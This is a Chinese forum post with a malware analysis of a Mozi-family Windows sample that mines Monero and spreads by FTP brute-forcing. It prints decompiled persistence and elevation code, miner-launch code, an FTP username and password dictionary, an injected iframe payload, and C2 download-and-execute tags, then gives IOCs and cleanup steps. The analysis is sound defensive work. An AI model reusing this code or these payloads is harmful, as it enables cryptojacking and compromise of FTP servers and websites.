社区应用 最新帖子 精华区 社区服务 会员列表 统计排行
  • 2171阅读
  • 2回复

[分享]新型活跃Mozi样本分析报告

楼层直达
z3960 
级别: 茶馆馆主
发帖
770593
飞翔币
207694
威望
215657
飞扬币
2511651
信誉值
8



基本信息

对象
文件名Photo.scr
文件类型PE32 executable for MS Windows (GUI) Intel 80386 32-bit
文件大小6271259 bytes
MD5a20727b81b50a20483ba59ae65443dfe
SHA256af94ddf7c35b9d9f016a5a4b232b43e071d59c6beb1560ba76df20df7b49ca4c
其它信息
对象
文件名HelpPane.exe
文件类型PE32 executable for MS Windows (GUI) Intel 80386 32-bit
文件大小6271259 bytes
MD5a20727b81b50a20483ba59ae65443dfe
SHA256af94ddf7c35b9d9f016a5a4b232b43e071d59c6beb1560ba76df20df7b49ca4c
其它信息
对象
文件名xmrig.exe
文件类型PE32 executable for MS Windows (console) Intel 80386 32-bit
文件大小1905664 bytes
MD513bdd9cd9f7e51746172996262b5a873
SHA2564bf737b29ff521bc263eb1f2c1c5ea04b47470cccd1beae245d98def389929bd
其它信息UPX v0.89.6 - v1.02 / v1.05 -v1.22 (Delphi) stub


动态分析



进程信息




网络信息



DNS记录

domainIP
dht.transmissionbt.com87.98.162.88、212.129.33.59
router.bittorrent.com67.215.246.10
router.utorrent.com82.221.103.244
bttracker.debian.org130.239.18.159
xmr.crypto-pool.fr163.172.226.137


连接记录

IPPort反查domain发起进程名
20.73.194.208443
163.172.226.1373333xmr.crypto-pool.frxmrig.exe
20.73.194.208443svchost.exe
20.73.194.208443
65.0.126.23721HelpPane.exe
14.95.85.6621HelpPane.exe
31.16.135.4221HelpPane.exe
109.72.121.2321HelpPane.exe
109.72.121.2321HelpPane.exe


python打包程序反编译



可以很明显看到是Python打包的程序,反编译流程为pyinstxtractor+uncompyle6(Python2.7)

反编译


拿到解压后的文件,找到ftpcrack.pyc,对比struct.pyc,替换第一行头部信息为 复制代码 隐藏代码03 F3 0D 0A 70 79 69 30  63 00 00 00 00 00 00 00  00 3E 00 00 00 40 00 00  00 73 A7 08 00 00 64 00
反汇编字节码文件得到

服务启动



参数与服务判断

复制代码 隐藏代码if sys.argv == 1: # 参数数量为1        argvs = ''else:        argvs = ('').join(sys.argv[1:])if is_exists(Servicename) and len(sys.argv) == 1: # 情况1:FTP服务开启&参数数量为1... ...elif len(sys.argv) >= 2: # 情况2:参数数量不小于2... ...elif is_admin():... ...elif sys.version_info[0] == 3: # 情况3:管理员启用... ...else: # 情况3:其它情况

服务信息

复制代码 隐藏代码class PythonService(win32serviceutil.ServiceFramework):    # 服务名    _svc_name_ = Servicename    # 服务显示名称    _svc_display_name_ = 'Application State ftp Service'    # 服务描述    _svc_description_ = 'Application Support State ftp Service'    def __init__(self, args):        win32serviceutil.ServiceFramework.__init__(self, args)        self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)        self.run = True        return    def SvcDoRun(self):        while self.run:            main()    def SvcStop(self):        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)        win32event.SetEvent(self.hWaitStop)        self.run = False

情况1:FTP服务开启&参数数量1


判断指定服务是否存在 复制代码 隐藏代码def is_exists(name):    """windowsxb7xfexcexf1xcaxc7xb7xf1xd2xd1xb0xb2xd7xb0"""    # 获取计算机上所有服务    scm = win32service.OpenSCManager(None, None, win32service.SC_MANAGER_ENUMERATE_SERVICE)    # 获取状态信息    statuses = win32service.EnumServicesStatus(scm, win32service.SERVICE_WIN32, win32service.SERVICE_STATE_ALL)    # 判断是否有指定服务    for short_name, desc, status in statuses:        if short_name == name:            return True    return False
启用木马程序,替代StateftpService服务 复制代码 隐藏代码try:    # 获取木马程序路径,注册服务信息,启动木马程序    evtsrc_dll = os.path.abspath(servicemanager.__file__)    servicemanager.PrepareToHostSingle(PythonService)    servicemanager.Initialize(Servicename, evtsrc_dll)    servicemanager.StartServiceCtrlDispatcher()except win32service.error as details:    # 如果因为无权限执行    if details[0] == winerror.ERROR_FAILED_SERVICE_CONTROLLER_CONNECT:        # 如果是管理员,将程序拷贝到管理员目录下执行(例如:C:\Users\Hk_Mayfly)        if is_admin():            commonfile = os.environ['USERPROFILE']            os.popen('copy /y ' + os.path.realpath(sys.argv[0]) + ' ' + commonfile + '\HelpPane.exe')            if is_stop(Servicename):                os.popen(commonfile + '\HelpPane.exe start')        # 如果非管理员,计算机上python版本为3.x,执行下面这句,以管理员身份执行,2.x版本需要转unicode        elif sys.version_info[0] == 3:            ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, argvs, None, 1)        else:            ctypes.windll.shell32.ShellExecuteW(None, u'runas', unicode(sys.executable), unicode(argvs), None, 1)

情况2:输入参数启动


PS:这老哥直接copy的网上代码,就说代码还很规范,看样子应该是国内的~
参数说明 复制代码 隐藏代码1.安装服务python PythonService.py install2.让服务自动启动python PythonService.py --startup auto install3.启动服务python PythonService.py start4.重启服务python PythonService.py restart5.停止服务python PythonService.py stop6.删除/卸载服务python PythonService.py remove 复制代码 隐藏代码elif len(sys.argv) >= 2:  # 参数数量不小于2    # /s 表示将样本程序设置为自启动    if sys.argv[1].lower() == '/s':        if is_admin():            commonfile = os.environ['USERPROFILE']            os.popen('copy /y ' + os.path.realpath(sys.argv[0]) + ' ' + commonfile + '\HelpPane.exe')            os.popen(commonfile + '\HelpPane.exe --startup auto install')            os.popen(commonfile + '\HelpPane.exe start')        elif sys.version_info[0] == 3:            ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, argvs, None, 1)        else:            ctypes.windll.shell32.ShellExecuteW(None, u'runas', unicode(sys.executable), unicode(argvs), None, 1)    if sys.argv[1].lower() == '--startup' or sys.argv[1].lower() == 'install' or sys.argv[1].lower() == 'start' or sys.argv[1].lower() == 'remove':        if is_admin():            win32serviceutil.HandleCommandLine(PythonService)        elif sys.version_info[0] == 3:            ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, argvs, None, 1)        else:            ctypes.windll.shell32.ShellExecuteW(None, u'runas', unicode(sys.executable), unicode(argvs), None, 1)

情况3:管理员启用


直接将木马copy到管理员目录下执行 复制代码 隐藏代码commonfile = os.environ['USERPROFILE']os.popen('copy /y ' + os.path.realpath(sys.argv[0]) + ' ' + commonfile + '\HelpPane.exe')os.popen(commonfile + '\HelpPane.exe --startup auto install')os.popen(commonfile + '\HelpPane.exe start')

情况4、5:根据python版本启用


python 3.x 管理员权限执行 复制代码 隐藏代码ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, argvs, None, 1)
python 2.x 管理员权限执行 复制代码 隐藏代码ctypes.windll.shell32.ShellExecuteW(None, u'runas', unicode(sys.executable), unicode(argvs), None, 1)

启动配置挖矿样本


首先拿构造IP池,大致过程就是拿出所有非本地网卡的IP地址,如:172.45.6.0,再拿出掩码长度组成IP段,例如:172.45.6.0/24 复制代码 隐藏代码RANDOM_IP_POOL = get_local_ipaddr() 复制代码 隐藏代码def getmask(netmask):    result = ''    for num in netmask.split('.'):        temp = str(bin(int(num)))[2:]        result = result + temp    return str(len(('').join(str(result).split('0')[0:1])))def get_local_ipaddr():    resultsip = []    for i in netifaces.interfaces():        info = netifaces.ifaddresses(i)        if netifaces.AF_INET not in info:            continue        if info[netifaces.AF_INET][0]['addr'].encode('raw_unicode_escape') != '127.0.0.1':            resultsip.append(info[netifaces.AF_INET][0]['addr'].encode('raw_unicode_escape') + '/' + getmask(info[netifaces.AF_INET][0]['netmask'].encode('raw_unicode_escape')))    return resultsip
根据系统杀掉本地的挖矿进程,nt->Windows,posix->Linux 复制代码 隐藏代码def killminer():    pids = psutil.pids()    for pid in pids:        p = psutil.Process(pid)        cmds = getProperty(p, 'cmdline')        if pid != os.getpid():            if p.name().lower().find('xmr') >= 0 or p.name().lower().find('miner') >= 0 or (' ').join(cmds).lower().find('pool') >= 0 or (' ').join(cmds).lower().find('xmr') >= 0 or (' ').join(cmds).lower().find('miner') >= 0 or (' ').join(cmds).lower().find('tcp://') >= 0 or (' ').join(cmds).lower().find('stratum') >= 0:                if os.name == 'nt':                    cmd = 'taskkill /pid ' + str(pid) + ' /f'                    os.popen(cmd)                elif os.name == 'posix':                    cmd = 'kill ' + str(pid)                    os.popen(cmd)
将挖矿程序xmrig.exe连同配置文件config.json放到C盘临时目录运行 复制代码 隐藏代码os.popen('copy /y ' + res_path + 'xmrig.exe ' + tmp + '\xmrig.exe')os.popen('copy /y ' + res_path + 'config.json ' + tmp + '\config.json')time.sleep(3)info = subprocess.STARTUPINFO()info.dwFlags = subprocess.CREATE_NEW_CONSOLE | subprocess.STARTF_USESHOWWINDOWinfo.wShowWindow = subprocess.SW_HIDEproc = subprocess.Popen(tmp + '\xmrig.exe', startupinfo=info) 复制代码 隐藏代码subprocess.STARTF_USESHOWWINDOW指明 STARTUPINFO.wShowWindow 属性包含额外的信息。subprocess.CREATE_NEW_CONSOLE新的进程将有新的控制台,而不是继承父进程的(默认)控制台。
转存文件到TEMP目录 复制代码 隐藏代码hb = binascii.a2b_hex(lnk)tmplnk = tmp + '\link.txt'flink = open(tmplnk, 'w')flink.write(hb)flink.close()filename = tmp + '\config'open(tmp + '\config', 'w').close()

配置bot节点信息


启动两个线程 复制代码 隐藏代码t1 = Thread(target=prockad, args=('kad', ))t1.start()t2 = Thread(target=config, args=('config', ))t2.start() 复制代码 隐藏代码def prockad(x):    global dll    kadfile = 'back.jpg'    try:        dll = CDLL(kadfile)        dll._Z7GetConfPc('')    except Exception as e:        pass
启动back.jpg

back.jpg



这是一个32位DLL文件,经过UPX加壳
对象
文件名back.jpg
文件类型PE32 executable for MS Windows (DLL) (console) Intel 80386
文件大小47107 bytes
MD54ae078dd5085e97d3605f20dc079412a
SHA256ed551536ff22587cdf7701a279e088eb370a4121e7a3fa1f3c8b121e767318a2
其它信息UPX


Config配置文件


在这里看到有打开之前转存到TEMP目录下的Config文件

向上回溯,发现两处信息

bot Config信息


脱壳后打开

这里看到了内嵌的Config信息

拿到内嵌Config信息[ss]ftp[/ss][cpu].2[/cpu][hp]88888888[/hp],同时上面的1:v4:说明这是个Mozi家族的恶意样本,用以区分DHT节点和Mozi节点流量(有表示为Mozi节点,会同步Config信息)。
这些应该是节点通讯的一些命令

ECDSA384:Config字段合法性验证

public_key1 复制代码 隐藏代码4C B3 8F 68 C1 26 70 EB 9D C1 68 4E D8 4B 7D 5F 69 5F 9D CA 8D E2 7D 63 FF AD 96 8D 18 8B 79 1B 38 31 9B 12 69 73 A9 2E B6 63 29 76 AC 2F 9E 94 A1
public_key2 复制代码 隐藏代码4C A6 FB CC F8 9B 12 1F 49 64 4D 2F 3C 17 D0 B8 E9 7D 24 24 F2 DD B1 47 E9 34 D2 C2 BF 07 AC 53 22 5F D8 92 FE ED 5F A3 C9 5B 6A 16 BE 84 40 77 88

配置bot节点信息


这里是回溯的第二处信息

接着,生成硬编码节点ID

最终得到硬编码ID:88888888:ad2:id2bo

其它

复制代码 隐藏代码dht.transmissionbt.com:6881router.bittorrent.com:6881router.utorrent.com:6881bttracker.debian.org:6881

解析Config文件命令


这个线程主要解析从其它bot发来的指令(存入config中)
标签作用
[mdf][/mdf]下载指定恶意链接的程序,保存到tmp目录
[mdr][/mdr]下载指定恶意链接的程序,并执行
[mud][/mud]下载挖矿病毒更新程序,并执行更新命令(会创建一个upgrade.bat文件)
[mrn][/mrn]执行指定命令
复制代码 隐藏代码def config(x):    filename = tmp + '\config'    ...        content = GetMiddleStr(congfigs, '[mdf]', '[/mdf]')         ...    content = GetMiddleStr(congfigs, '[mdr]', '[/mdr]')        ...    content = GetMiddleStr(congfigs, '[mud]', '[/mud]')         ...    content = GetMiddleStr(congfigs, '[mrn]', '[/mrn]')        ...

FTP Crack



随机IP获取


随机获取3000个非局域网IP地址 复制代码 隐藏代码ip_list = []m_count = 200ping = Truefor i in range(1, 3000):    ip_list.append(randomip()) 复制代码 隐藏代码def randomip():    ip = 'null'    while True:        ip0 = random.randint(1, 254)        ip1 = random.randint(0, 255)        ip2 = random.randint(0, 255)        ip3 = random.randint(0, 255)        ip = str(ip0) + '.' + str(ip1) + '.' + str(ip2) + '.' + str(ip3)        if ip0 == 10 or ip0 == 127:            ip = 'null'        elif ip0 == 100 and ip1 >= 64 and ip1 <= 127:            ip = 'null'... ...
再往IP列表中添加本机IP地址列表 复制代码 隐藏代码iplist.append(get_random_ip())

获取存活IP

复制代码 隐藏代码iplist = get_ac_ip(iplist) 复制代码 隐藏代码def get_ac_ip(ip_list):    try:        s = Nscan()        ipPool = set(ip_list)        return s.mPing(ipPool)    except Exception as e:        return ip_list 复制代码 隐藏代码class Nscan:    def __init__(self, timeout=3):        ...    @property    def __icmpSocket(self):              """创建ICMP Socket"""        ...    def __inCksum(self, packet):        """ICMP报文校验和计算方法"""        ...    @property    def __icmpPacket(self):              """构造ICMP报文"""        ...    def mPing(self, ipPool):              """利用ICMP报文探测网络主机存活"""         ...

主机信息探测




FTP爆破


有个Crack类,含有所有的功能 复制代码 隐藏代码USER_DIC = {'ftp': [         'www', 'anonymous', 'admin', 'Admin', 'root', 'db', 'wwwroot', 'data', 'web', 'ftp', 'administrator', 'user', 'user123', 'test', 'www-data'],   'ssh': [         'root', 'admin']}PASSWORD_DIC = ['anonymous', '123456', 'admin', 'root', 'password', '123123', '123', 'pass1234', '{user}', '{user}{user}', '{user}1', '{user}123','{user}2016', '{user}2015', '{user}!', '', 'P@ssw0rd!!', 'qwa123', '12345678', 'test', '123qwe!@#', '123456789', '123321', '1314520', '159357','{user}2017', '666666', 'woaini', 'fuckyou', '000000', '1234567890', '8888888', 'qwerty', '1qaz2wsx', 'abc123', 'abc123456', '1q2w3e4r', '123qwe','{user}2019', '{user}2018', 'p@ssw0rd', 'p@55w0rd', 'password!', 'p@ssw0rd!', 'password1', 'r00t', 'tomcat', '5201314', 'system', 'pass', '1234','12345', '1234567', 'devry', '111111', 'admin123', 'derok010101', 'windows', 'email@email.com', 'qazxswedc`123', 'qwerty123456', 'qazxswedc']

上传病毒文件


上传Photo.scr、Video.scr、AV.scr、Photo.lnk、Video.lnk、AV.lnk文件

恶意代码植入

  1. 将远程FTP服务器中所有文件结尾为:.html .htm .php .asp .stm .dhtm .phtm .xht .mht .htx .aspx  .jsp .cgi .shtm .xml 下载到本地tmp目录
  2. 随机重命名文件,命名规则:('').join(random.sample('zyxwvutsrqponmlkjihgfedcba', 5)) + val
  3. 读取下载下来的文件,若文件中没有恶意代码块<iframe src=Photo.scr width=1 height=1 frameborder=0>,则在文件内尾部加入<iframe src=Photo.scr width=1 height=1 frameborder=0></iframe>,以在网页中植入恶意程序
  4. 上传文件到远程服务器,并删除本地文件


其它信息


解包出来的文件还有一个config.json 复制代码 隐藏代码{    "algo": "cryptonight",    "api": {        "port": 0,        "access-token": null,        "id": null,        "worker-id": null,        "ipv6": false,        "restricted": true    },    "autosave": true,    "av": 0,    "background": true,    "colors": true,    "cpu-affinity": null,    "cpu-priority": null,    "donate-level": 1,    "huge-pages": true,    "hw-aes": null,    "log-file": null,    "max-cpu-usage": 70,    "pools": [        {            "url": "xmr.crypto-pool.fr:3333",            "user": "47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV",            "pass": "x",            "rig-id": null,            "nicehash": false,            "keepalive": false,            "variant": -1,            "enabled": true,            "tls": false,            "tls-fingerprint": null        }    ],    "print-time": 60,    "retries": 5,    "retry-pause": 5,    "safe": false,    "threads": [        {            "low_power_mode": 1,            "affine_to_cpu": false        },        {            "low_power_mode": 1,            "affine_to_cpu": false        }    ],    "user-agent": null,    "watch": true}
从这可以看出,恶意样本,设置cpu最大利用率70%,便于隐藏。
矿池:xmr.crypto-pool.fr:3333
钱包地址:47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV

IOC信息

复制代码 隐藏代码# md5a20727b81b50a20483ba59ae65443dfe13bdd9cd9f7e51746172996262b5a8734ae078dd5085e97d3605f20dc079412a# domaindht.transmissionbt.com:6881router.bittorrent.com:6881router.utorrent.com:6881bttracker.debian.org:6881# 矿池xmr.crypto-pool.fr:3333# ip87.98.162.88212.129.33.5967.215.246.1082.221.103.244130.239.18.159163.172.226.137163.172.226.137:3333# 钱包地址47BD6QNfkWf8ZMQSdqp2tY1AdG8ofsEPf4mcDp1YB4AX32hUjoLjuDaNrYzXk7cQcoPBzAuQrmQTgNgpo6XPqSBLCnfsjaV
标签作用
[mdf][/mdf]下载指定恶意链接的程序,保存到tmp目录
[mdr][/mdr]下载指定恶意链接的程序,并执行
[mud][/mud]下载挖矿病毒更新程序,并执行更新命令(会创建一个upgrade.bat文件)
[mrn][/mrn]执行指定命令
复制代码 隐藏代码弱密码['anonymous', '123456', 'admin', 'root', 'password', '123123', '123', 'pass1234', '{user}', '{user}{user}', '{user}1', '{user}123','{user}2016', '{user}2015', '{user}!', '', 'P@ssw0rd!!', 'qwa123', '12345678', 'test', '123qwe!@#', '123456789', '123321', '1314520', '159357','{user}2017', '666666', 'woaini', 'fuckyou', '000000', '1234567890', '8888888', 'qwerty', '1qaz2wsx', 'abc123', 'abc123456', '1q2w3e4r', '123qwe','{user}2019', '{user}2018', 'p@ssw0rd', 'p@55w0rd', 'password!', 'p@ssw0rd!', 'password1', 'r00t', 'tomcat', '5201314', 'system', 'pass', '1234','12345', '1234567', 'devry', '111111', 'admin123', 'derok010101', 'windows', 'email@email.com', 'qazxswedc`123', 'qwerty123456', 'qazxswedc']

处理意见

  1. 删除本地恶意样本Photo.scr
  2. 删除临时文件目录下xmrig.exe、config.json、link.txt、config、HelpPane.exe、updater.exe、updater
  3. 删除upgrade.bat、Video.scr、AV.scr、Photo.lnk、Video.lnk、AV.lnk
  4. 杀掉包含以上文件名的进程
  5. 查找所有后缀为.html .htm .php .asp .stm .dhtm .phtm .xht .mht .htx .aspx  .jsp .cgi .shtm .xml的文件,去除<iframe src=Photo.scr width=1 height=1 frameborder=0></iframe>'代码片段
  6. 因为可能通过命令下载其它恶意程序,所以建议再使用腾讯电脑管家扫描一遍电脑。
  7. 关闭21、2121端口
  8. 修改FTP服务登录密码
关键词: bot 系统 下载 更新 360
我不喜欢说话却每天说最多的话,我不喜欢笑却总笑个不停,身边的每个人都说我的生活好快乐,于是我也就认为自己真的快乐。可是为什么我会在一大群朋友中突然地就沉默,为什么在人群中看到个相似的背影就难过,看见秋天树木疯狂地掉叶子我就忘记了说话,看见天色渐晚路上暖黄色的灯火就忘记了自己原来的方向。
级别: 超级版主
发帖
837218
飞翔币
228806
威望
224673
飞扬币
2465907
信誉值
0

只看该作者 1 发表于: 2021-11-04
来看一下
级别: 超级版主
发帖
837218
飞翔币
228806
威望
224673
飞扬币
2465907
信誉值
0

只看该作者 2 发表于: 2021-11-04
不错,了解了